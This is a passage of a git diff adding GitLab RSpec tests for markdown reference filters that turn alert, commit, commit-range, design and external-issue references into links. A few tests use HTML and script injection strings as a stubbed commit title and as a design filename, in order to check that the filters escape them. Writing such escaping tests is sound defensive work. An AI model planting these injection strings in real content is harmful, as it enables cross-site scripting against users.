+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project2) }
+ let_it_be(:reference) { "#{project2.full_path}^alert##{alert.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}^alert##{alert.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
+
+ expect(doc.text).to eql("See (#{project2.path}^alert##{alert.iid}.)")
+ end
+
+ it 'ignores invalid alert IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project shorthand reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project2) }
+ let_it_be(:reference) { "#{project2.path}^alert##{alert.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}^alert##{alert.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{project2.path}^alert##{alert.iid}.)")
+
+ expect(doc.text).to eql("See (#{project2.path}^alert##{alert.iid}.)")
+ end
+
+ it 'ignores invalid alert IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project URL reference' do
+ let_it_be(:namespace) { create(:namespace, name: 'cross-reference') }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project2) }
+ let_it_be(:reference) { alert.details_url }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(alert.to_reference(project))}</a>\.\)})
+ end
+
+ it 'ignores invalid alert IDs on the referenced project' do
+ act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
+ end
+ end
+
+ context 'group context' do
+ let_it_be(:group) { create(:group) }
+
+ it 'links to a valid reference' do
+ reference = "#{project.full_path}^alert##{alert.iid}"
+ result = reference_filter("See #{reference}", { project: nil, group: group } )
+
+ expect(result.css('a').first.attr('href')).to eq(alert.details_url)
+ end
+
+ it 'ignores internal references' do
+ exp = act = "See ^alert##{alert.iid}"
+
+ expect(reference_filter(act, project: nil, group: group).to_html).to eq exp
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/commit_range_reference_filter_spec.rb b/spec/lib/banzai/filter/references/commit_range_reference_filter_spec.rb
new file mode 100644
index 00000000000..b235de06b30
--- /dev/null
+++ b/spec/lib/banzai/filter/references/commit_range_reference_filter_spec.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::CommitRangeReferenceFilter do
+ include FilterSpecHelper
+
+ let(:project) { create(:project, :public, :repository) }
+ let(:commit1) { project.commit("HEAD~2") }
+ let(:commit2) { project.commit }
+
+ let(:range) { CommitRange.new("#{commit1.id}...#{commit2.id}", project) }
+ let(:range2) { CommitRange.new("#{commit1.id}..#{commit2.id}", project) }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Commit Range #{range.to_reference}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'internal reference' do
+ let(:reference) { range.to_reference }
+ let(:reference2) { range2.to_reference }
+
+ it 'links to a valid two-dot reference' do
+ doc = reference_filter("See #{reference2}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_compare_url(project, range2.to_param)
+ end
+
+ it 'links to a valid three-dot reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_compare_url(project, range.to_param)
+ end
+
+ it 'links to a valid short ID' do
+ reference = "#{commit1.short_id}...#{commit2.id}"
+ reference2 = "#{commit1.id}...#{commit2.short_id}"
+
+ exp = commit1.short_id + '...' + commit2.short_id
+
+ expect(reference_filter("See #{reference}").css('a').first.text).to eq exp
+ expect(reference_filter("See #{reference2}").css('a').first.text).to eq exp
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ exp = Regexp.escape(range.reference_link_text)
+ expect(doc.to_html).to match(%r{\(<a.+>#{exp}</a>\.\)})
+ end
+
+ it 'ignores invalid commit IDs' do
+ exp = act = "See #{commit1.id.reverse}...#{commit2.id}"
+
+ allow(project.repository).to receive(:commit).with(commit1.id.reverse)
+ allow(project.repository).to receive(:commit).with(commit2.id)
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'includes no title attribute' do
+ doc = reference_filter("See #{reference}")
+ expect(doc.css('a').first.attr('title')).to eq ""
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("See #{reference}")
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-commit_range has-tooltip'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-commit-range attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-commit-range')
+ expect(link.attr('data-commit-range')).to eq range.to_s
+ end
+
+ it 'supports an :only_path option' do
+ doc = reference_filter("See #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq urls.project_compare_url(project, from: commit1.id, to: commit2.id, only_path: true)
+ end
+ end
+
+ context 'cross-project / cross-namespace complete reference' do
+ let(:project2) { create(:project, :public, :repository) }
+ let(:reference) { "#{project2.full_path}@#{commit1.id}...#{commit2.id}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_compare_url(project2, range.to_param)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.text)
+ .to eql("#{project2.full_path}@#{commit1.short_id}...#{commit2.short_id}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.text).to eql("Fixed (#{project2.full_path}@#{commit1.short_id}...#{commit2.short_id}.)")
+ end
+
+ it 'ignores invalid commit IDs on the referenced project' do
+ exp = act = "Fixed #{project2.full_path}@#{commit1.id.reverse}...#{commit2.id}"
+ expect(reference_filter(act).to_html).to eq exp
+
+ exp = act = "Fixed #{project2.full_path}@#{commit1.id}...#{commit2.id.reverse}"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project / same-namespace complete reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, :public, :repository, namespace: namespace) }
+ let(:project2) { create(:project, :public, :repository, path: "same-namespace", namespace: namespace) }
+ let(:reference) { "#{project2.path}@#{commit1.id}...#{commit2.id}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_compare_url(project2, range.to_param)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.text)
+ .to eql("#{project2.path}@#{commit1.short_id}...#{commit2.short_id}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.text).to eql("Fixed (#{project2.path}@#{commit1.short_id}...#{commit2.short_id}.)")
+ end
+
+ it 'ignores invalid commit IDs on the referenced project' do
+ exp = act = "Fixed #{project2.path}@#{commit1.id.reverse}...#{commit2.id}"
+ expect(reference_filter(act).to_html).to eq exp
+
+ exp = act = "Fixed #{project2.path}@#{commit1.id}...#{commit2.id.reverse}"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project shorthand reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, :public, :repository, namespace: namespace) }
+ let(:project2) { create(:project, :public, :repository, path: "same-namespace", namespace: namespace) }
+ let(:reference) { "#{project2.path}@#{commit1.id}...#{commit2.id}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_compare_url(project2, range.to_param)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.text)
+ .to eql("#{project2.path}@#{commit1.short_id}...#{commit2.short_id}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.text).to eql("Fixed (#{project2.path}@#{commit1.short_id}...#{commit2.short_id}.)")
+ end
+
+ it 'ignores invalid commit IDs on the referenced project' do
+ exp = act = "Fixed #{project2.path}@#{commit1.id.reverse}...#{commit2.id}"
+ expect(reference_filter(act).to_html).to eq exp
+
+ exp = act = "Fixed #{project2.path}@#{commit1.id}...#{commit2.id.reverse}"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project URL reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project2) { create(:project, :public, :repository, namespace: namespace) }
+ let(:range) { CommitRange.new("#{commit1.id}...master", project) }
+ let(:reference) { urls.project_compare_url(project2, from: commit1.id, to: 'master') }
+
+ before do
+ range.project = project2
+ end
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq reference
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ exp = Regexp.escape(range.reference_link_text(project))
+ expect(doc.to_html).to match(%r{\(<a.+>#{exp}</a>\.\)})
+ end
+
+ it 'ignores invalid commit IDs on the referenced project' do
+ exp = act = "Fixed #{project2.to_reference_base}@#{commit1.id.reverse}...#{commit2.id}"
+ expect(reference_filter(act).to_html).to eq exp
+
+ exp = act = "Fixed #{project2.to_reference_base}@#{commit1.id}...#{commit2.id.reverse}"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'group context' do
+ let(:context) { { project: nil, group: create(:group) } }
+
+ it 'ignores internal references' do
+ exp = act = "See #{range.to_reference}"
+
+ expect(reference_filter(act, context).to_html).to eq exp
+ end
+
+ it 'links to a full-path reference' do
+ reference = "#{project.full_path}@#{commit1.short_id}...#{commit2.short_id}"
+
+ expect(reference_filter("See #{reference}", context).css('a').first.text).to eql(reference)
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/commit_reference_filter_spec.rb b/spec/lib/banzai/filter/references/commit_reference_filter_spec.rb
new file mode 100644
index 00000000000..bee8e42d12e
--- /dev/null
+++ b/spec/lib/banzai/filter/references/commit_reference_filter_spec.rb
@@ -0,0 +1,272 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::CommitReferenceFilter do
+ include FilterSpecHelper
+
+ let(:project) { create(:project, :public, :repository) }
+ let(:commit) { project.commit }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Commit #{commit.id}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'internal reference' do
+ let(:reference) { commit.id }
+
+ # Let's test a variety of commit SHA sizes just to be paranoid
+ [7, 8, 12, 18, 20, 32, 40].each do |size|
+ it "links to a valid reference of #{size} characters" do
+ doc = reference_filter("See #{reference[0...size]}")
+
+ expect(doc.css('a').first.text).to eq commit.short_id
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_commit_url(project, reference)
+ end
+ end
+
+ it 'always uses the short ID as the link text' do
+ doc = reference_filter("See #{commit.id}")
+ expect(doc.text).to eq "See #{commit.short_id}"
+
+ doc = reference_filter("See #{commit.id[0...7]}")
+ expect(doc.text).to eq "See #{commit.short_id}"
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{commit.short_id}</a>\.\)})
+ end
+
+ it 'ignores invalid commit IDs' do
+ invalid = invalidate_reference(reference)
+ exp = act = "See #{invalid}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'includes a title attribute' do
+ doc = reference_filter("See #{reference}")
+ expect(doc.css('a').first.attr('title')).to eq commit.title
+ end
+
+ it 'escapes the title attribute' do
+ allow_next_instance_of(Commit) do |instance|
+ allow(instance).to receive(:title).and_return(%{"></a>whatever<a title="})
+ end
+
+ doc = reference_filter("See #{reference}")
+ expect(doc.text).to eq "See #{commit.short_id}"
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("See #{reference}")
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-commit has-tooltip'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-commit attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-commit')
+ expect(link.attr('data-commit')).to eq commit.id
+ end
+
+ it 'supports an :only_path context' do
+ doc = reference_filter("See #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq urls.project_commit_url(project, reference, only_path: true)
+ end
+
+ context "in merge request context" do
+ let(:noteable) { create(:merge_request, target_project: project, source_project: project) }
+ let(:commit) { noteable.commits.first }
+
+ it 'handles merge request contextual commit references' do
+ url = urls.diffs_project_merge_request_url(project, noteable, commit_id: commit.id)
+ doc = reference_filter("See #{reference}", noteable: noteable)
+
+ expect(doc.css('a').first[:href]).to eq(url)
+ end
+
+ context "a doc with many (29) strings that could be SHAs" do
+ let!(:oids) { noteable.commits.collect(&:id) }
+
+ it 'makes only a single request to Gitaly' do
+ expect(Gitlab::GitalyClient).to receive(:allow_n_plus_1_calls).exactly(0).times
+ expect(Gitlab::Git::Commit).to receive(:batch_by_oid).once.and_call_original
+
+ reference_filter("A big list of SHAs #{oids.join(", ")}", noteable: noteable)
+ end
+ end
+ end
+ end
+
+ context 'cross-project / cross-namespace complete reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project2) { create(:project, :public, :repository, namespace: namespace) }
+ let(:commit) { project2.commit }
+ let(:reference) { "#{project2.full_path}@#{commit.short_id}" }
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.full_path}@#{commit.short_id}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text).to eql("See (#{project2.full_path}@#{commit.short_id}.)")
+ end
+
+ it 'ignores invalid commit IDs on the referenced project' do
+ exp = act = "Committed #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project / same-namespace complete reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, namespace: namespace) }
+ let(:project2) { create(:project, :public, :repository, namespace: namespace) }
+ let(:commit) { project2.commit }
+ let(:reference) { "#{project2.full_path}@#{commit.short_id}" }
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}@#{commit.short_id}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text).to eql("See (#{project2.path}@#{commit.short_id}.)")
+ end
+
+ it 'ignores invalid commit IDs on the referenced project' do
+ exp = act = "Committed #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project shorthand reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, namespace: namespace) }
+ let(:project2) { create(:project, :public, :repository, namespace: namespace) }
+ let(:commit) { project2.commit }
+ let(:reference) { "#{project2.full_path}@#{commit.short_id}" }
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}@#{commit.short_id}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text).to eql("See (#{project2.path}@#{commit.short_id}.)")
+ end
+
+ it 'ignores invalid commit IDs on the referenced project' do
+ exp = act = "Committed #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project URL reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project2) { create(:project, :public, :repository, namespace: namespace) }
+ let(:commit) { project2.commit }
+ let(:reference) { urls.project_commit_url(project2, commit.id) }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_commit_url(project2, commit.id)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{commit.reference_link_text(project)}</a>\.\)})
+ end
+
+ it 'ignores invalid commit IDs on the referenced project' do
+ act = "Committed #{invalidate_reference(reference)}"
+ expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
+ end
+ end
+
+ context 'URL reference for a commit patch' do
+ let(:namespace) { create(:namespace) }
+ let(:project2) { create(:project, :public, :repository, namespace: namespace) }
+ let(:commit) { project2.commit }
+ let(:link) { urls.project_commit_url(project2, commit.id) }
+ let(:extension) { '.patch' }
+ let(:reference) { link + extension }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq reference
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.text).to eq("See #{commit.reference_link_text(project)} (patch)")
+ end
+
+ it 'does not link to patch when extension match is after the path' do
+ invalidate_commit_reference = reference_filter("#{link}/builds.patch")
+
+ doc = reference_filter("See (#{invalidate_commit_reference})")
+
+ expect(doc.css('a').first.attr('href')).to eq "#{link}/builds"
+ expect(doc.text).to eq("See (#{commit.reference_link_text(project)} (builds).patch)")
+ end
+ end
+
+ context 'group context' do
+ let(:context) { { project: nil, group: create(:group) } }
+
+ it 'ignores internal references' do
+ exp = act = "See #{commit.id}"
+
+ expect(reference_filter(act, context).to_html).to eq exp
+ end
+
+ it 'links to a valid reference' do
+ act = "See #{project.full_path}@#{commit.id}"
+
+ expect(reference_filter(act, context).css('a').first.text).to eql("#{project.full_path}@#{commit.short_id}")
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/design_reference_filter_spec.rb b/spec/lib/banzai/filter/references/design_reference_filter_spec.rb
new file mode 100644
index 00000000000..52514ad17fc
--- /dev/null
+++ b/spec/lib/banzai/filter/references/design_reference_filter_spec.rb
@@ -0,0 +1,287 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::DesignReferenceFilter do
+ include FilterSpecHelper
+ include DesignManagementTestHelpers
+
+ let_it_be(:issue) { create(:issue, iid: 10) }
+ let_it_be(:issue_proj_2) { create(:issue, iid: 20) }
+ let_it_be(:issue_b) { create(:issue, project: issue.project) }
+ let_it_be(:developer) { create(:user, developer_projects: [issue.project, issue_proj_2.project]) }
+ let_it_be(:design_a) { create(:design, :with_versions, issue: issue) }
+ let_it_be(:design_b) { create(:design, :with_versions, issue: issue_b) }
+ let_it_be(:design_proj_2) { create(:design, :with_versions, issue: issue_proj_2) }
+ let_it_be(:project_with_no_lfs) { create(:project, :public, lfs_enabled: false) }
+
+ let(:design) { design_a }
+ let(:project) { issue.project }
+ let(:project_2) { issue_proj_2.project }
+ let(:reference) { design.to_reference }
+ let(:design_url) { url_for_design(design) }
+ let(:input_text) { "Added #{design_url}" }
+ let(:doc) { process_doc(input_text) }
+ let(:current_user) { developer }
+
+ before do
+ enable_design_management
+ end
+
+ shared_examples 'a no-op filter' do
+ it 'does nothing' do
+ expect(process(input_text)).to eq(baseline(input_text).to_html)
+ end
+ end
+
+ shared_examples 'a good link reference' do
+ let(:link) { doc.css('a').first }
+ let(:href) { url_for_design(design) }
+ let(:title) { design.filename }
+
+ it 'produces a good link', :aggregate_failures do
+ expect(link.attr('href')).to eq(href)
+ expect(link.attr('title')).to eq(title)
+ expect(link.attr('class')).to eq('gfm gfm-design has-tooltip')
+ expect(link.attr('data-project')).to eq(design.project.id.to_s)
+ expect(link.attr('data-issue')).to eq(design.issue.id.to_s)
+ expect(link.attr('data-original')).to eq(href)
+ expect(link.attr('data-reference-type')).to eq('design')
+ expect(link.text).to eq(design.to_reference(project))
+ end
+ end
+
+ describe '.call' do
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+ end
+
+ it 'does not error when we add redaction to the pipeline' do
+ enable_design_management
+
+ res = reference_pipeline(redact: true).to_document(input_text)
+
+ expect(res.css('a').first).to be_present
+ end
+
+ describe '#call' do
+ describe 'feature flags' do
+ context 'design management is not enabled' do
+ before do
+ enable_design_management(false)
+ end
+
+ it_behaves_like 'a no-op filter'
+ end
+ end
+ end
+
+ %w(pre code a style).each do |elem|
+ context "wrapped in a <#{elem}/>" do
+ let(:input_text) { "<#{elem}>Design #{url_for_design(design)}</#{elem}>" }
+
+ it_behaves_like 'a no-op filter'
+ end
+ end
+
+ describe '.identifier' do
+ where(:filename) do
+ [
+ ['simple.png'],
+ ['SIMPLE.PNG'],
+ ['has spaces.png'],
+ ['has-hyphen.jpg'],
+ ['snake_case.svg'],
+ ['has "quotes".svg'],
+ ['has <special> characters [o].svg']
+ ]
+ end
+
+ with_them do
+ let(:design) { build(:design, issue: issue, filename: filename) }
+ let(:url) { url_for_design(design) }
+ let(:pattern) { described_class.object_class.link_reference_pattern }
+ let(:parsed) do
+ m = pattern.match(url)
+ described_class.identifier(m) if m
+ end
+
+ it 'can parse the reference' do
+ expect(parsed).to have_attributes(
+ filename: filename,
+ issue_iid: issue.iid
+ )
+ end
+ end
+ end
+
+ describe 'static properties' do
+ specify do
+ expect(described_class).to have_attributes(
+ object_sym: :design,
+ object_class: ::DesignManagement::Design
+ )
+ end
+ end
+
+ describe '#data_attributes_for' do
+ let(:subject) { filter_instance.data_attributes_for(input_text, project, design) }
+
+ specify do
+ is_expected.to include(issue: design.issue_id,
+ original: input_text,
+ project: project.id,
+ design: design.id)
+ end
+ end
+
+ context 'a design with a quoted filename' do
+ let(:filename) { %q{A "very" good file.png} }
+ let(:design) { create(:design, :with_versions, issue: issue, filename: filename) }
+
+ it 'links to the design' do
+ expect(doc.css('a').first.attr('href'))
+ .to eq url_for_design(design)
+ end
+ end
+
+ context 'internal reference' do
+ it_behaves_like 'a reference containing an element node'
+
+ context 'the reference is valid' do
+ it_behaves_like 'a good link reference'
+
+ context 'the filename needs to be escaped' do
+ where(:filename) do
+ [
+ ['with some spaces.png'],
+ ['with <script>console.log("pwded")<%2Fscript>.png']
+ ]
+ end
+
+ with_them do
+ let(:design) { create(:design, :with_versions, filename: filename, issue: issue) }
+ let(:link) { doc.css('a').first }
+
+ it 'replaces the content with the reference, but keeps the link', :aggregate_failures do
+ expect(doc.text).to eq(CGI.unescapeHTML("Added #{design.to_reference}"))
+ expect(link.attr('title')).to eq(design.filename)
+ expect(link.attr('href')).to eq(design_url)
+ end
+ end
+ end
+ end
+
+ context 'the reference is to a non-existant design' do
+ let(:design_url) { url_for_design(build(:design, issue: issue)) }
+
+ it_behaves_like 'a no-op filter'
+ end
+
+ context 'design management is disabled for the referenced project' do
+ let(:public_issue) { create(:issue, project: project_with_no_lfs) }
+ let(:design) { create(:design, :with_versions, issue: public_issue) }
+
+ it_behaves_like 'a no-op filter'
+ end
+ end
+
+ describe 'link pattern' do
+ let(:reference) { url_for_design(design) }
+
+ it 'matches' do
+ expect(reference).to match(DesignManagement::Design.link_reference_pattern)
+ end
+ end
+
+ context 'cross-project / cross-namespace complete reference' do
+ let(:design) { design_proj_2 }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it_behaves_like 'a good link reference'
+
+ it 'links to a valid reference' do
+ expect(doc.css('a').first.attr('href')).to eq(design_url)
+ end
+
+ context 'design management is disabled for that project' do
+ let(:design) { create(:design, project: project_with_no_lfs) }
+
+ it_behaves_like 'a no-op filter'
+ end
+
+ it 'link has valid text' do
+ ref = "#{design.project.full_path}##{design.issue.iid}[#{design.filename}]"
+
+ expect(doc.css('a').first.text).to eql(ref)
+ end
+
+ it 'includes default classes' do
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-design has-tooltip'
+ end
+
+ context 'the reference is invalid' do
+ let(:design_url) { url_for_design(design).gsub(/jpg/, 'gif') }
+
+ it_behaves_like 'a no-op filter'
+ end
+ end
+
+ describe 'performance' do
+ it 'is linear in the number of projects with design management enabled each design refers to' do
+ design_c = build(:design, :with_versions, issue: issue)
+ design_d = build(:design, :with_versions, issue: issue_b)
+ design_e = build(:design, :with_versions, issue: build_stubbed(:issue, project: project_2))
+
+ one_ref_per_project = <<~MD
+ Design #{url_for_design(design_a)}, #{url_for_design(design_proj_2)}
+ MD
+
+ multiple_references = <<~MD
+ Designs that affect the count:
+ * #{url_for_design(design_a)}
+ * #{url_for_design(design_b)}
+ * #{url_for_design(design_c)}
+ * #{url_for_design(design_d)}
+ * #{url_for_design(design_proj_2)}
+ * #{url_for_design(design_e)}
+
+ Things that do not affect the count:
+ * #{url_for_design(build_stubbed(:design, project: project_with_no_lfs))}
+ * #{url_for_designs(issue)}
+ * #1[not a valid reference.gif]
+ MD
+
+ baseline = ActiveRecord::QueryRecorder.new { process(one_ref_per_project) }
+
+ # each project mentioned requires 2 queries:
+ #
+ # * SELECT "issues".* FROM "issues" WHERE "issues"."project_id" = 1 AND ...
+ # :in `parent_records'*/
+ # * SELECT "_designs".* FROM "_designs"
+ # WHERE (issue_id = ? AND filename = ?) OR ...
+ # :in `parent_records'*/
+ #
+ # In addition there is a 1 query overhead for all the projects at the
+ # start. Currently, the baseline for 2 projects is `2 * 2 + 1 = 5` queries
+ #
+ expect { process(multiple_references) }.not_to exceed_query_limit(baseline.count)
+ end
+ end
+
+ private
+
+ def process_doc(text)
+ reference_filter(text, project: project)
+ end
+
+ def baseline(text)
+ null_filter(text, project: project)
+ end
+
+ def process(text)
+ process_doc(text).to_html
+ end
+end
diff --git a/spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb b/spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb
new file mode 100644
index 00000000000..3b274f98020
--- /dev/null
+++ b/spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb
@@ -0,0 +1,257 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::ExternalIssueReferenceFilter do
+ include FilterSpecHelper
+
+ let_it_be_with_refind(:project) { create(:project) }
+
+ shared_examples_for "external issue tracker" do
+ it_behaves_like 'a reference containing an element node'
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Issue #{reference}</#{elem}>"
+
+ expect(filter(act).to_html).to eq exp
+ end
+ end
+
+ it 'ignores valid references when using default tracker' do
+ expect(project).to receive(:default_issues_tracker?).and_return(true)
+
+ exp = act = "Issue #{reference}"
+ expect(filter(act).to_html).to eq exp
+ end
+
+ it 'links to a valid reference' do
+ doc = filter("Issue #{reference}")
+ issue_id = doc.css('a').first.attr("data-external-issue")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq project.external_issue_tracker.issue_url(issue_id)
+ end
+
+ it 'links to the external tracker' do
+ doc = filter("Issue #{reference}")
+
+ link = doc.css('a').first.attr('href')
+ issue_id = doc.css('a').first.attr("data-external-issue")
+
+ expect(link).to eq(project.external_issue_tracker.issue_url(issue_id))
+ end
+
+ it 'links with adjacent text' do
+ doc = filter("Issue (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{reference}</a>\.\)})
+ end
+
+ it 'includes a title attribute' do
+ doc = filter("Issue #{reference}")
+ expect(doc.css('a').first.attr('title')).to include("Issue in #{project.external_issue_tracker.title}")
+ end
+
+ it 'escapes the title attribute' do
+ allow(project.external_issue_tracker).to receive(:title)
+ .and_return(%{"></a>whatever<a title="})
+
+ doc = filter("Issue #{reference}")
+ expect(doc.text).to eq "Issue #{reference}"
+ end
+
+ it 'includes default classes' do
+ doc = filter("Issue #{reference}")
